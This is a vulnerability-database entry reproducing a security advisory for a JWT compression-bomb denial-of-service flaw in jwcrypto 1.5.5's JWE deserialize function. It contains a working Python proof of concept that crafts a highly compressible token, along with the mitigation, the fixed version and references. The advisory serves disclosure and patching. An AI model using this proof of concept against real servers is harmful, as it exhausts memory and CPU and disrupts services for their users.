JWCrypto vulnerable to JWT bomb Attack in `deserialize` function
Affected version
Vendor: https://github.com/latchset/jwcrypto Version: 1.5.5
Description
An attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this Token, it will consume a lot of memory and processing time.
Poc
from jwcrypto import jwk, jwe
from jwcrypto.common import json_encode, json_decode
import time
public_key = jwk.JWK()
private_key = jwk.JWK.generate(kty='RSA', size=2048)
public_key.import_key(**json_decode(private_key.export_public()))
payload = '{"u": "' + "u" * 400000000 + '", "uu":"' + "u" * 400000000 + '"}'
protected_header = {
"alg": "RSA-OAEP-256",
"enc": "A256CBC-HS512",
"typ": "JWE",
"zip": "DEF",
"kid": public_key.thumbprint(),
}
jwetoken = jwe.JWE(payload.encode('utf-8'),
recipient=public_key,
protected=protected_header)
enc = jwetoken.serialize(compact=True)
print("-----uncompress-----")
print(len(enc))
begin = time.time()
jwetoken = jwe.JWE()
jwetoken.deserialize(enc, key=private_key)
print(time.time() - begin)
print("-----compress-----")
payload = '{"u": "' + "u" * 400000 + '", "uu":"' + "u" * 400000 + '"}'
protected_header = {
"alg": "RSA-OAEP-256",
"enc": "A256CBC-HS512",
"typ": "JWE",
"kid": public_key.thumbprint(),
}
jwetoken = jwe.JWE(payload.encode('utf-8'),
recipient=public_key,
protected=protected_header)
enc = jwetoken.serialize(compact=True)
print(len(enc))
begin = time.time()
jwetoken = jwe.JWE()
jwetoken.deserialize(enc, key=private_key)
print(time.time() - begin)It can be found that when processing Tokens with similar lengths, the processing time of compressed tokens is significantly longer. <img width="172" alt="image" src="https://github.com/latchset/jwcrypto/assets/133195620/23193327-3cd7-499a-b5aa-28c56af92785">
Mitigation
To mitigate this vulnerability, it is recommended to limit the maximum token length to 250K. This approach has also been adopted by the JWT library System.IdentityModel.Tokens.Jwt used in Microsoft Azure [1], effectively preventing attackers from exploiting this vulnerability with high compression ratio tokens.
References
[1] CVE-2024-21319
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | jwcrypto | < 1.5.6 | 1.5.6 |
References
- https://github.com/latchset/jwcrypto/security/advisories/GHSA-j857-7rvv-vj97
- https://nvd.nist.gov/vuln/detail/CVE-2024-28102
- https://github.com/latchset/jwcrypto/commit/90477a3b6e73da69740e00b8161f53fea19b831f
- https://github.com/latchset/jwcrypto
- https://lists.debian.org/debian-lts-announce/2024/09/msg00026.html
- https://www.vicarius.io/vsociety/posts/denial-of-service-vulnerability-discovered-in-jwcrypto-cve-2024-28102-28103
- https://pypi.org/project/jwcrypto
- https://github.com/advisories/GHSA-j857-7rvv-vj97
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H- Weakness (CWE)
CWE-770- Platform
- Python (PyPI)
- Package
jwcrypto- Disclosed
- 06.03.2024
- Updated
- 11.10.2026 15:17
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-1484 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-j857-7rvv-vj97 - CC BY 4.0
Vulnerability history: jwcrypto
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 5
- First → latest
- 09.2016 04.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Medium 5
Disclosures per year
- 2017: 0
- 2018: 0
- 2019: 0
- 2020: 0
- 2021: 0
- 2022: 1
- 2023: 1
- 2024: 1
- 2025: 0
- 2026: 1
earlier: 1
-
JWCrypto vulnerable to JWT bomb Attack in `deserialize` function this entry
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